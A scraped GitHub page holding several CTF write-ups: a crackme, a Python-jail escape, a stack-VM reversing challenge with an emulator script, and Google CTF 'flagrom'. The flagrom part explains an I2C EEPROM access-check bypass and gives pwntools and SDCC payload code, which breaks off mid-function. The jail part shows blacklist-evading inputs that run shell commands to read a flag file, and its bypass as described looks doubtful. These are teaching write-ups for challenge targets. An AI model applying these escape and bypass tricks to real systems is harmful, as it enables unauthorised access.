</div> <div role="row" class="Box-row Box-row--focus-gray py-2 d-flex position-relative js-navigation-item "> <div role="gridcell" class="mr-3 flex-shrink-0" style="width: 16px;"> <svg aria-label="File" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-file color-fg-muted"> <path d="M2 1.75C2 .784 2.784 0 3.75 0h6.586c.464 0 .909.184 1.237.513l2.914 2.914c.329.328.513.773.513 1.237v9.586A1.75 1.75 0 0 1 13.25 16h-9.5A1.75 1.75 0 0 1 2 14.25Zm1.75-.25a.25.25 0 0 0-.25.25v12.5c0 .138.112.25.25.25h9.5a.25.25 0 0 0 .25-.25V6h-2.75A1.75 1.75 0 0 1 9 4.25V1.5Zm6.75.062V4.25c0 .138.112.25.25.25h2.688l-.011-.013-2.914-2.914-.013-.011Z"></path></svg> </div>
<div role="rowheader" class="flex-auto min-width-0 col-md-2 mr-3"> <span>index.html</span> </div>
<div role="gridcell" class="flex-auto min-width-0 d-none d-md-block col-5 mr-3" > <div class="Skeleton Skeleton--text col-7"> </div> </div>
<div role="gridcell" class="color-fg-muted text-right" style="width:100px;"> <div class="Skeleton Skeleton--text"> </div> </div>
</div> <div role="row" class="Box-row Box-row--focus-gray py-2 d-flex position-relative js-navigation-item "> <div role="gridcell" class="mr-3 flex-shrink-0" style="width: 16px;"> <svg aria-label="File" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-file color-fg-muted"> <path d="M2 1.75C2 .784 2.784 0 3.75 0h6.586c.464 0 .909.184 1.237.513l2.914 2.914c.329.328.513.773.513 1.237v9.586A1.75 1.75 0 0 1 13.25 16h-9.5A1.75 1.75 0 0 1 2 14.25Zm1.75-.25a.25.25 0 0 0-.25.25v12.5c0 .138.112.25.25.25h9.5a.25.25 0 0 0 .25-.25V6h-2.75A1.75 1.75 0 0 1 9 4.25V1.5Zm6.75.062V4.25c0 .138.112.25.25.25h2.688l-.011-.013-2.914-2.914-.013-.011Z"></path></svg> </div>
<div role="rowheader" class="flex-auto min-width-0 col-md-2 mr-3"> <span>notes</span> </div>
<div role="gridcell" class="flex-auto min-width-0 d-none d-md-block col-5 mr-3" > <div class="Skeleton Skeleton--text col-7"> </div> </div>
<div role="gridcell" class="color-fg-muted text-right" style="width:100px;"> <div class="Skeleton Skeleton--text"> </div> </div>
</div> <div role="row" class="Box-row Box-row--focus-gray py-2 d-flex position-relative js-navigation-item "> <div role="gridcell" class="mr-3 flex-shrink-0" style="width: 16px;"> <svg aria-label="File" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-file color-fg-muted"> <path d="M2 1.75C2 .784 2.784 0 3.75 0h6.586c.464 0 .909.184 1.237.513l2.914 2.914c.329.328.513.773.513 1.237v9.586A1.75 1.75 0 0 1 13.25 16h-9.5A1.75 1.75 0 0 1 2 14.25Zm1.75-.25a.25.25 0 0 0-.25.25v12.5c0 .138.112.25.25.25h9.5a.25.25 0 0 0 .25-.25V6h-2.75A1.75 1.75 0 0 1 9 4.25V1.5Zm6.75.062V4.25c0 .138.112.25.25.25h2.688l-.011-.013-2.914-2.914-.013-.011Z"></path></svg> </div>
<div role="rowheader" class="flex-auto min-width-0 col-md-2 mr-3"> <span>solve.py</span> </div>
<div role="gridcell" class="flex-auto min-width-0 d-none d-md-block col-5 mr-3" > <div class="Skeleton Skeleton--text col-7"> </div> </div>
<div role="gridcell" class="color-fg-muted text-right" style="width:100px;"> <div class="Skeleton Skeleton--text"> </div> </div>
</div> </div> </div>
</include-fragment>
</div>
</div>
</div>
</div>
</turbo-frame>
</main> </div>
</div>
<footer class="footer width-full container-xl p-responsive" role="contentinfo"> <h2 class='sr-only'>Footer</h2>
<div class="position-relative d-flex flex-items-center pb-2 f6 color-fg-muted border-top color-border-muted flex-column-reverse flex-lg-row flex-wrap flex-lg-nowrap mt-6 pt-6"> <div class="list-style-none d-flex flex-wrap col-0 col-lg-2 flex-justify-start flex-lg-justify-between mb-2 mb-lg-0"> <div class="mt-2 mt-lg-0 d-flex flex-items-center"> <svg aria-hidden="true" height="24" viewBox="0 0 16 16" version="1.1" width="24" data-view-component="true" class="octicon octicon-mark-github"> <path d="M8 0c4.42 0 8 3.58 8 8a8.013 8.013 0 0 1-5.45 7.59c-.4.08-.55-.17-.55-.38 0-.27.01-1.13.01-2.2 0-.75-.25-1.23-.54-1.48 1.78-.2 3.65-.88 3.65-3.95 0-.88-.31-1.59-.82-2.15.08-.2.36-1.02-.08-2.12 0 0-.67-.22-2.2.82-.64-.18-1.32-.27-2-.27-.68 0-1.36.09-2 .27-1.53-1.03-2.2-.82-2.2-.82-.44 1.1-.16 1.92-.08 2.12-.51.56-.82 1.28-.82 2.15 0 3.06 1.86 3.75 3.64 3.95-.23.2-.44.55-.51 1.07-.46.21-1.61.55-2.33-.66-.15-.24-.6-.83-1.23-.82-.67.01-.27.38.01.53.34.19.73.9.82 1.13.16.45.68 1.31 2.69.94 0 .67.01 1.3.01 1.49 0 .21-.15.45-.55.38A7.995 7.995 0 0 1 0 8c0-4.42 3.58-8 8-8Z"></path></svg> <span> © 2023 GitHub, Inc. </span> </div> </div>
<nav aria-label='footer' class="col-12 col-lg-8"> <h3 class='sr-only' id='sr-footer-heading'>Footer navigation</h3> Terms Privacy Security Status Docs Contact GitHub Pricing API Training Blog About </nav> </div>
<div class="d-flex flex-justify-center pb-6"> <span></span> </div></footer>
<div id="ajax-error-message" class="ajax-error-message flash flash-error" hidden> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-alert"> <path d="M6.457 1.047c.659-1.234 2.427-1.234 3.086 0l6.082 11.378A1.75 1.75 0 0 1 14.082 15H1.918a1.75 1.75 0 0 1-1.543-2.575Zm1.763.707a.25.25 0 0 0-.44 0L1.698 13.132a.25.25 0 0 0 .22.368h12.164a.25.25 0 0 0 .22-.368Zm.53 3.996v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 1.5 0ZM9 11a1 1 0 1 1-2 0 1 1 0 0 1 2 0Z"></path></svg> <button type="button" class="flash-close js-ajax-error-dismiss" aria-label="Dismiss error"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg> </button> You can’t perform that action at this time. </div>
<div class="js-stale-session-flash flash flash-warn flash-banner" hidden > <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-alert"> <path d="M6.457 1.047c.659-1.234 2.427-1.234 3.086 0l6.082 11.378A1.75 1.75 0 0 1 14.082 15H1.918a1.75 1.75 0 0 1-1.543-2.575Zm1.763.707a.25.25 0 0 0-.44 0L1.698 13.132a.25.25 0 0 0 .22.368h12.164a.25.25 0 0 0 .22-.368Zm.53 3.996v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 1.5 0ZM9 11a1 1 0 1 1-2 0 1 1 0 0 1 2 0Z"></path></svg> <span>You signed in with another tab or window. Reload to refresh your session.</span> <span>You signed out in another tab or window. Reload to refresh your session.</span> </div> <template id="site-details-dialog"> <details class="details-reset details-overlay details-overlay-dark lh-default color-fg-default hx_rsm" open> <summary role="button" aria-label="Close dialog"></summary> <details-dialog class="Box Box--overlay d-flex flex-column anim-fade-in fast hx_rsm-dialog hx_rsm-modal"> <button class="Box-btn-octicon m-0 btn-octicon position-absolute right-0 top-0" type="button" aria-label="Close dialog" data-close-dialog> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg> </button> <div class="octocat-spinner my-6 js-details-dialog-spinner"></div> </details-dialog> </details></template>
<div class="Popover js-hovercard-content position-absolute" style="display: none; outline: none;" tabindex="0"> <div class="Popover-message Popover-message--bottom-left Popover-message--large Box color-shadow-large" style="width:360px;"> </div></div>
<template id="snippet-clipboard-copy-button"> <div class="zeroclipboard-container position-absolute right-0 top-0"> <clipboard-copy aria-label="Copy" class="ClipboardButton btn js-clipboard-copy m-2 p-0 tooltipped-no-delay" data-copy-feedback="Copied!" data-tooltip-direction="w"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-copy js-clipboard-copy-icon m-2"> <path d="M0 6.75C0 5.784.784 5 1.75 5h1.5a.75.75 0 0 1 0 1.5h-1.5a.25.25 0 0 0-.25.25v7.5c0 .138.112.25.25.25h7.5a.25.25 0 0 0 .25-.25v-1.5a.75.75 0 0 1 1.5 0v1.5A1.75 1.75 0 0 1 9.25 16h-7.5A1.75 1.75 0 0 1 0 14.25Z"></path><path d="M5 1.75C5 .784 5.784 0 6.75 0h7.5C15.216 0 16 .784 16 1.75v7.5A1.75 1.75 0 0 1 14.25 11h-7.5A1.75 1.75 0 0 1 5 9.25Zm1.75-.25a.25.25 0 0 0-.25.25v7.5c0 .138.112.25.25.25h7.5a.25.25 0 0 0 .25-.25v-7.5a.25.25 0 0 0-.25-.25Z"></path></svg> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-check js-clipboard-check-icon color-fg-success d-none m-2"> <path d="M13.78 4.22a.75.75 0 0 1 0 1.06l-7.25 7.25a.75.75 0 0 1-1.06 0L2.22 9.28a.751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018L6 10.94l6.72-6.72a.75.75 0 0 1 1.06 0Z"></path></svg> </clipboard-copy> </div></template>
</div>
<div id="js-global-screen-reader-notice" class="sr-only" aria-live="polite" ></div> </body></html>
|
In this reverse challenge we were given a ELF (look at generic_crackme_redux):
So the first thing to do is to open it in ghidra and understand the business logic:
This is the main function:

We are asked to input a string, then is called a check function on the input, the core of the check is:

So the flag is:```flag{70517}``` |
# genericpyjail - 50pt (180 solves)
```Written by: dns
When has a blacklist of insecure keywords EVER failed?
nc chall2.2019.redpwn.net 6006```
This challenge we have python sand box escape mission.We are running inside a python program and our mission is to escape to the shell OS or to execute our code in order to read the flag file.We starts with `blacklist.txt` file that contains black list key words (WE CAN NOT USE THEM).Connect to the server `nc chall2.2019.redpwn.net 6006` and start fuzzing:```tom@DESKTOP-AMN3CC9:/mnt/c/Windows/System32$ nc chall2.2019.redpwn.net 6006wow! there's a file called flag.txt right here!>>> 5>>> '4'>>> helloTraceback (most recent call last): File "jail1.py", line 49, in <module> data = eval(data) File "<string>", line 1, in <module>NameError: name 'hello' is not defined```From the error message we are able to see part of the code:```data = eval(data)````data` it's probably our input.So, we can send to the server python code, the server will check if our data doesn't contains black list key words, and will execute our commands if everything is OK.**WE NEED TO READ FILE CALLED flag.txt** so we need to import os module, and execute `os.system('cat flag.txt')` to read the flag.Limitations:1. We can't use `import`, `os` words in our commands```wow! there's a file called flag.txt right here!>>> import osThat's not allowed here>>>```but we can separate our payload, and there will not be any black list word, something like this: `"impor" + "t o" + "s"` == `"import os"````wow! there's a file called flag.txt right here!>>> "impor" + "t o" + "s">>>```And we successfully bypassed the limitation !!!Let's import os module and read the file:```tom@DESKTOP-AMN3CC9:/mnt/c/Windows/System32$ nc chall2.2019.redpwn.net 6006wow! there's a file called flag.txt right here!>>> "impor" + "t o" + "s">>> "o" + "s.s" + "ystem('dir')"bin dev flag.txt jail1.py lib64 mnt proc run srv tmp varboot etc home lib media opt root sbin sys usr>>> "o" + "s.s" + "ystem('cat flag.txt')"flag{bl4ckl1sts_w0rk_gre3344T!}>>>``` |
[Read it here](https://github.com/Bechsen/Writeups/blob/master/VMToy.md)
We're given a binary with these charecteristics:rabin2.exe -I virtual_toy arch x86 binsz 15288 bintype elf bits 32[...]
Upon execution the binary will print a welcome message along with a pompt to enter the access code, giving a random input "ERROR"is printed to stdout and the process terminates.
Opening the binary in BINJA reveals a standard main function, along with two interesting functions "PUSH" and "POP", this alongwith the challenge title gives a good indication that it's a vm that emulates a program.The main function is shown to print the aforementioned welcome message followed by a relatively big switch case:

Finding the starting point of the IP, we can copy out the program code, and start to convert the switchcase to python.It also becomes evident that the VM is stack based due to all the instructions utilising POP and PUSH, with common operationsinbetween, such as:

with the switch statement endning in a push eax, inc ip.
Implementing all this into a crude dissasembler produces the following assembly:```PUSH: 0PUSH: 12596 ;; PUSH constants[... left out for brevity ...]PUSH: 13072PUSH: 13240DUP ;; Duplicated the value on the stackTEST 5 ;; Test if stack value is 0 i.e end of stringPUSH: 68 ;; Jump to 68 if it isJMP 68 0 ;;---------------------------READ: ;; READ one char of stdin or the equivilant bufferPUSH: 10ADD 10 65 ;; ADD 10 to itPUSH: 1337MUL 1337 75 ;; Multiply by 1337PUSH: 191DIV 191 100275 ;; IDIV by 191PUSH: 4095XOR 4095 525 ;; XOR with 4095NEG 3570 ;; NEGative the numberNOT -3570 ;; perform a bitwise notPUSH: 2SHL 2 3569 ;; Shift left by 2XOR 14276 13240 ;; XOR with the stackvalue as pushed by the first instructions of the programTEST 1148 ;; Check if the result is 0 (eg, check that 14276 == 13240)PUSH: 33JMP 33 0 ;; Loop back if it isPUSH: 69PRINT E ;; Otherwise print "Error" and terminatePUSH: 114PRINT rPUSH: 114PRINT rPUSH: 111PRINT oPUSH: 114PRINT rPUSH: 10PRINT```All that is left is reversing the above sequence of ops and perform it on the pushed constants to get the password, the followingpython code accomplishes that:```for i in password:a = (i>>2)&0xfffffffffa = ~aa = 0-aa = a^4095a = a*191a = a//1337a = a-10print(chr(a), end='')```Doing this and we get the flag: flag{qemu_is_better_09831912393}
This is the disassembler and emulator:```ip = 0
stack = []
program = [0x00000011, 0x00000000, 0x00000011, 0x00003134,0x00000011, 0x0000394c, 0x00000011, 0x000038a4,0x00000011, 0x0000394c, 0x00000011, 0x00003968,0x00000011, 0x00003984, 0x00000011, 0x000038a4,0x00000011, 0x00003984, 0x00000011, 0x0000394c,0x00000011, 0x000038c0, 0x00000011, 0x000038a4,0x00000011, 0x000039a0, 0x00000011, 0x0000347c,0x00000011, 0x00003268, 0x00000011, 0x000033d4,0x00000011, 0x00003230, 0x00000011, 0x00003230,0x00000011, 0x000033d4, 0x00000011, 0x00003428,0x00000011, 0x0000347c, 0x00000011, 0x0000324c,0x00000011, 0x00003364, 0x00000011, 0x0000347c,0x00000011, 0x00003214, 0x00000011, 0x000032f4,0x00000011, 0x000033d4, 0x00000011, 0x00003284,0x00000011, 0x0000316c, 0x00000011, 0x0000339c,0x00000011, 0x00003444, 0x00000011, 0x00003310,0x00000011, 0x000033b8, 0x00000013, 0xdeadc0de,0x0000000b, 0xdeadc0de, 0x00000011, 0x00000044,0x00000010, 0xdeadc0de, 0x00000000, 0xdeadc0de,0x00000011, 0x0000000a, 0x00000002, 0xdeadc0de,0x00000011, 0x00000539, 0x00000004, 0xdeadc0de,0x00000011, 0x000000bf, 0x00000005, 0xdeadc0de,0x00000011, 0x00000fff, 0x00000009, 0xdeadc0de,0x0000000c, 0xdeadc0de, 0x0000000a, 0xdeadc0de,0x00000011, 0x00000002, 0x0000000e, 0xdeadc0de,0x00000009, 0xdeadc0de, 0x0000000b, 0xdeadc0de,0x00000011, 0x00000021, 0x00000010, 0xdeadc0de,0x00000011, 0x00000045, 0x00000001, 0xdeadc0de,0x00000011, 0x00000072, 0x00000001, 0xdeadc0de,0x00000011, 0x00000072, 0x00000001, 0xdeadc0de,0x00000011, 0x0000006f, 0x00000001, 0xdeadc0de,0x00000011, 0x00000072, 0x00000001, 0xdeadc0de,0x00000011, 0x0000000a, 0x00000001, 0xdeadc0de,0x00000011, 0x00000001, 0x00000014, 0xdeadc0de,0x00000011, 0x00000041, 0x00000001, 0xdeadc0de,0x00000011, 0x00000063, 0x00000001, 0xdeadc0de,0x00000011, 0x00000063, 0x00000001, 0xdeadc0de,0x00000011, 0x00000065, 0x00000001, 0xdeadc0de,0x00000011, 0x00000073, 0x00000001, 0xdeadc0de,0x00000011, 0x00000073, 0x00000001, 0xdeadc0de,0x00000011, 0x00000020, 0x00000001, 0xdeadc0de,0x00000011, 0x00000067, 0x00000001, 0xdeadc0de,0x00000011, 0x00000072, 0x00000001, 0xdeadc0de,0x00000011, 0x00000061, 0x00000001, 0xdeadc0de,0x00000011, 0x0000006e, 0x00000001, 0xdeadc0de,0x00000011, 0x00000074, 0x00000001, 0xdeadc0de,0x00000011, 0x00000065, 0x00000001, 0xdeadc0de,0x00000011, 0x00000064, 0x00000001, 0xdeadc0de,0x00000011, 0x0000000a, 0x00000001, 0xdeadc0de,0x00000011, 0x00000000, 0x00000014, 0xdeadc0de]
inputA = [0x41, 0x41, 0x41, 0x41]while ip in range(0,len(program)): jmped = False #print("OP: " + str(hex(program[ip]))) op = program[ip] #print("IMM: " + str(hex(program[ip+1]))) imm = program[ip+1]
if op == 0x1: print("PRINT " + str(chr(stack.pop()))) elif op == 0x0: print ("READ: ") stack.append(inputA.pop()) elif op == 0x2: a = stack.pop() b = stack.pop() stack.append(a+b) print("ADD " + str(a) + " " + str(b)) elif op == 0x4: a = stack.pop() b = stack.pop() stack.append(a*b) print("MUL " + str(a) + " " + str(b)) elif op == 0x5: a = stack.pop() b = stack.pop() stack.append(b//a) print("DIV " + str(a) + " " + str(b)) elif op == 0x9: a = stack.pop() b = stack.pop() stack.append(a^b) print("XOR " + str(a) + " " + str(b))
elif op == 0xa: a = stack.pop() stack.append(~a) print("NOT " + str(a))
elif op == 0xb: a = stack.pop() if a == 0: stack.append(1) else: stack.append(0) print("TEST " + str(a)) elif op == 0xc: a = stack.pop() stack.append(0-a) print("NEG " + str(a)) elif op == 0xe: a = stack.pop() b = stack.pop() stack.append((b<<a)&0xffffffff) print("SHL " + str(a) + " " + str(b)) elif op == 0x10: a = stack.pop() b = stack.pop() if b != 0: ip = a*2 jmped = True else: ip = ip+2 jmped = True print("JMP " + str(a) + " " + str(b))
elif op == 0x11: stack.append(program[ip+1]) print("PUSH: " + str(program[ip+1])) elif op == 0x13: a = stack.pop() stack.append(a) stack.append(a) else: print("Not implemented op:" + str(hex(op))) print(stack) print("IP: " + str(hex(ip))) print("IP->" + str(hex(program[ip]))) exit() if jmped != True: ip = ip + 2 #print(stack)``` |
# Challenge DescriptionThis 8051 board has a SecureEEPROM installed. It's obvious the flag is stored there. Go and get it.
nc flagrom.ctfcompetition.com 1337
# Prep WorkLets start by seeing what the network service gives us upon connecting.
```$ nc flagrom.ctfcompetition.com 1337What's a printable string less than 64 bytes that starts with flagrom- whose md5 starts with e3ae75?```
Seems like a proof of work.
After passing the proof of work, we are asked:```What's the length of your payload?```
The server expects an integer, followed by newline and a binary payload of the size specified.
Lets script the interaction.Additionally, we patch the proof of work check out of the local binary for rapid testing.
```pythonfrom pwn import *
local = False
def calc_pow(prefix): prefix = prefix.decode('hex') while True: s = 'flagrom-{0}'.format(randoms(10)) if md5sum(s).startswith(prefix): return s
if local: s = process('./flagrom')else: s = remote('flagrom.ctfcompetition.com', 1337) l = s.recvline() prefix = l[-8:-2] proof = calc_pow(prefix) s.sendline(proof) s.readuntil("What's the length of your payload?")
payload = open('payload.bin', 'rb').read()s.writeline(str(len(payload)))s.write(payload)s.stream()```
# Investigation
## The firmwareWe are given source code to the firmware that is executed before our payload, along with a SystemVerilog description of the theoretical secure eeprom device.
The eeprom device is 256 bytes large, with banks of 64 bytes that can be secured to prevent reading.
The firmware writes a flag into address `64` of the eeprom and then secures the corresponding bank to prevent the flag from being read back. It then writes a "welcome" message to address 0 of the eeprom (which is not secured), presumably so we can sanity check our payload to ensure it is working correctly.
The firmware makes use of some special function registers (SFR) beginning at address `0xfe00` to allow the 8051 hardware to handle the minutiae of interacting with the I2C bus, but we also have two interesting definitions in the firmware source code that are unused.
```c__sfr __at(0xfa) RAW_I2C_SCL;__sfr __at(0xfb) RAW_I2C_SDA;```
This suggests we have direct access to twiddle the I2C lines ourselves.
## The I2C Protocol
The actual I2C protocol is somewhat hidden from view by use of the SFR block at `0xfe00`, but we can reverse engineer some of the `flagrom` binary itself to better understand it. Helpfully, the binary appears to have symbols included.
The most relevant function is `sfr_i2c_module` and the functions it calls within.```cbool __fastcall sfr_i2c_module(void *emu, int access_type, int address_type, unsigned __int8 a4, unsigned __int8 *value){ bool result; // al unsigned __int8 v7; // al I2C_REG_BLOCK I2C; // [rsp+20h] [rbp-20h] int direction; // [rsp+30h] [rbp-10h] MAPDST int pos; // [rsp+34h] [rbp-Ch] char success; // [rsp+3Bh] [rbp-5h] int last_direction; // [rsp+3Ch] [rbp-4h]
if ( access_type ) { if ( *value & 1 ) { emu8051::mem_read(emu, 2LL, 0xFE00LL, &I2C, 16LL); if ( I2C.LENGTH <= 7u ) { if ( I2C.LENGTH ) { I2C.ADDR &= 0xFEu; last_direction = 0; success = 1; pos = 0; while ( I2C.LENGTH ) { if ( ((signed int)I2C.RW_MASK >> pos) & 1 ) direction = 2; else direction = 1; if ( direction != last_direction ) { send_start(dev_i2c[0]); send_byte(dev_i2c[0], I2C.ADDR | (direction == 2)); if ( !recv_ack(dev_i2c[0]) ) { I2C.ERROR_CODE = 2; success = 0; break; } last_direction = direction; } if ( direction == 2 ) { v7 = recv_byte(dev_i2c[0]); I2C.DATA[pos] = v7; } else { send_byte(dev_i2c[0], I2C.DATA[pos]); } if ( !recv_ack(dev_i2c[0]) ) { I2C.ERROR_CODE = 3; success = 0; break; } --I2C.LENGTH; ++pos; } if ( success ) I2C.ERROR_CODE = 0; } else { send_start(dev_i2c[0]); send_byte(dev_i2c[0], I2C.ADDR); if ( recv_ack(dev_i2c[0]) ) I2C.ERROR_CODE = 0; else I2C.ERROR_CODE = 5; } } else { I2C.ERROR_CODE = 1; } send_stop(dev_i2c[0]); emu8051::mem_write(emu, 2LL, 65024LL, &I2C, 16LL); result = 1; } else { result = 1; } } else { *value = 0; result = 1; } return result;}```
This function is called in response to read or write operations to the `I2C_STATE` SFR at `0xfc`. Writing a `1` to this location will trigger an I2C operation based on the SFR block at `0xfe00`.
From this function we can see that at the lowest level an I2C transaction looks like the following:1. send i2c start sequence2. send device address, lowest bit indicating transaction data direction3. receive ack4. send or receive byte, depending on transaction direction5. receive ack6. while there is more data: if direction is changing goto step 1, else goto step 47. send i2c stop sequence
In order to read a byte of eeprom data from address `0`, our I2C traffic looks like the following:- send i2c start sequence- send device address `SEEPROM_I2C_ADDR_MEMORY`- receive ack- send byte `0`- receive ack- send i2c start sequence- send device address `SEEPROM_I2C_ADDR_MEMORY | 1`- receive ack- receive byte- receive ack- send i2c stop sequence
One key observation about this traffic is that we send multiple i2c start sequences without sending corresponding i2c stop sequences.
## The SystemVerilog
The verilog has a fair bit going on, but the only parts that are relevant for us are those that are required to read a byte of the eeprom.
To start with, we have a register `i2c_state` which determines how the device reacts to SCL rising edges.
We begin in `I2C_IDLE` and wait for the `i2c_start` wire to become hi, at which point we transition to `I2C_START` state.```verilogI2C_IDLE: begin if (i2c_start) begin i2c_state <= I2C_START; endend```
On the next SCL falling edge, we clear the `i2c_control_bits` and transition to the `I2C_LOAD_CONTROL` state.```verilogI2C_START: begin if (i2c_scl_state == I2C_SCL_FALLING) begin i2c_control_bits <= 0; i2c_state <= I2C_LOAD_CONTROL; endend```
Once in this state, we accumulate bits into `i2c_control` on every SCL rising edge until we have 8 bits.```verilogI2C_LOAD_CONTROL: begin if (i2c_control_bits == 8) begin ... end else if (i2c_scl_state == I2C_SCL_RISING) begin i2c_control <= {i2c_control[6:0], i_i2c_sda}; i2c_control_bits <= i2c_control_bits + 1; endend```
At which point we switch on `i2c_control_prefix` to determine if we are accessing eeprom bytes or updating the secure banks.```verilogcase (i2c_control_prefix) `I2C_CONTROL_EEPROM: begin ... end `I2C_CONTROL_SECURE: begin ... end default: begin i2c_state <= I2C_NACK; endendcase```
In the `I2C_CONTROL_EEPROM` case, we check the `i2c_control_rw` wire to determine the transaction direction.In the write direction we clear `i2c_address_bits` and transition to the `I2C_ACK_THEN_LOAD_ADDRESS` state.In the read direction we check `i2c_address_valid` and transition to the `I2C_ACK_THEN_READ` state on success or `I2C_NACK` on failure.```verilogif (i2c_control_rw) begin if (i2c_address_valid) begin i2c_data_bits <= 0; i2c_state <= I2C_ACK_THEN_READ; end else begin i2c_state <= I2C_NACK; endend else begin i2c_address_bits <= 0; i2c_state <= I2C_ACK_THEN_LOAD_ADDRESS;end```
The `I2C_ACK_THEN_READ` and `I2C_ACK_THEN_LOAD_ADDRESS` states are inconsequential; they simply send an ack and transition to the next state (`I2C_READ` and `I2C_LOAD_ADDRESS` respectively).
The `I2C_LOAD_ADDRESS` state accumulates bits into `i2c_address` on each SCL rising edge until 8 are received.```verilogif (i2c_address_bits == 8) begin ...end else if (i2c_scl_state == I2C_SCL_RISING) begin i2c_address <= {i2c_address[6:0], i_i2c_sda}; i2c_address_bits <= i2c_address_bits + 1;end```
At which point we verify the address is not secure, set `i2c_address_valid`, and transition to `I2C_ACK_THEN_WRITE`.If the address is secure, `i2c_address_valid` is cleared and we transition to `I2C_NACK`.```verilogif (i2c_address_secure) begin i2c_address_valid <= 0; i2c_state <= I2C_NACK;end else begin i2c_data_bits <= 0; i2c_address_valid <= 1; i2c_state <= I2C_ACK_THEN_WRITE;end```
At this point if we were writing eeprom data `I2C_WRITE` would begin handling bytes over i2c.Since we are reading eeprom data, we must start a new i2c transaction with the `i2c_control_rw` bit set.In this transaction, the `I2C_LOAD_CONTROL` will verify that `i2c_address_valid` is set before eventually transitioning us to `I2C_READ` (through `I2C_ACK_THEN_READ`).
Interestingly, `i2c_address_valid` is cleared when an i2c stop sequence is seen. This explains why we see multiple start sequences without corresponding stop sequences as noted earlier.
The `I2C_READ` state will clock out data one bit at a time until 8 bits have been sent, at which point it increments `i2c_address` and prepares for another byte to be transmitted. However, this is only done if `i2c_address_secure == i2c_next_address_secure`.```verilogif (i2c_data_bits == 8 && i2c_scl_state == I2C_SCL_RISING) begin i2c_data_bits <= 0; if (i2c_address_secure == i2c_next_address_secure) begin i2c_address <= i2c_address + 1; i2c_state <= I2C_ACK_THEN_READ; end else begin i2c_state <= I2C_NACK; endend else if (i2c_scl_state == I2C_SCL_FALLING) begin o_i2c_sda <= mem_storage[i2c_address][7 - i2c_data_bits[2:0]]; i2c_data_bits <= i2c_data_bits + 1;end```
At this point our goal is clear: somehow get `i2c_address_valid` to be set when `i2c_address` contains the address of the flag data.
There is only one condition that will cause `i2c_address_valid` to be set- a SCL rising edge while in `I2C_LOAD_ADDRESS` state with `i2c_address_bits == 8` and `i2c_address_secure == 0`
There are two conditions that will cause `i2c_address_valid` to be cleared- an SCL rising edge while in `I2C_LOAD_ADDRESS` state with `i2c_address_bits == 8` and `i2c_address_secure == 1`- an i2c stop sequence
The second condition can be easily avoided - we simply never send an i2c stop sequence.
We can cause `i2c_address_valid` to become set by performing a normal eeprom read with an address that is not secure.Now we need to get the flag address into `i2c_address` without triggering the first `i2c_address_valid` clearing condition.
Lets take a closer look at how `i2c_address` is filled.
While in `I2C_LOAD_ADDRESS` state every SCL rising edge will push the current SDA state into the LSB of `i2c_address`, shifting the previous contents up by one bit. `i2c_address_bits` is also incremented by one.```verilogi2c_address <= {i2c_address[6:0], i_i2c_sda};i2c_address_bits <= i2c_address_bits + 1;```
What would happen if we only transmit 7 bits of data and then send an i2c start condition to exit the `I2C_LOAD_ADDRESS` state?
The address we want to read is `64` which in binary would be `0b0100'0000`. We must transmit data on the bus MSB first. If we send `0b0100'000` `i2c_address` would contain `0b?010'0000`, where `?` is the LSB of the value it previously contained.
However, lets look at the specifics of an i2c start sequence.- SCL lo- SDA hi- SCL hi- SDA lo
We can see that this sequence begins with an SCL rising edge where the SDA bit is hi. These will be observed in the `I2C_LOAD_ADDRESS` just before the transition to `I2C_START`. Taking this into account our final `i2c_address` value will become `0b0100'0001`, or `65`. This is close enough for our needs, since the first 4 bytes of the flag contents are well known.
Note that `I2C_LOAD_ADDRESS` will never observe `i2c_address_bits == 8` because we transition away to the `I2C_START` state before another SCL rising edge occurs. This means that the upper 7 bits of `i2c_address` can be controlled without triggering the `i2c_address_secure` checks. This allows us to begin reading at any odd address. The behavior of the `I2C_READ` state allows us to continue reading sequentially from this point as long as we do not cross a secure to unsecure block boundary.
# Implementation
We will use the [sdcc](http://sdcc.sourceforge.net/) compiler to write our payload.
## Makefile```makeall: sdcc payload.c objcopy -I ihex -O binary payload.ihx payload.bin```
## Code```c__sfr __at(0xff) POWEROFF;__sfr __at(0xfd) CHAROUT;__xdata __at(0xff00) unsigned char FLAG[0x100];
__sfr __at(0xfa) RAW_I2C_SCL;__sfr __at(0xfb) RAW_I2C_SDA;
const SEEPROM_I2C_ADDR_MEMORY = 0b10100000;
void print(const char *str) { while (*str) { CHAROUT = *str++; }}
void send_start(void) { RAW_I2C_SCL = 0; RAW_I2C_SDA = 1; RAW_I2C_SCL = 1; RAW_I2C_SDA = 0;}
void send_byte(unsigned char byte) { unsigned char i;
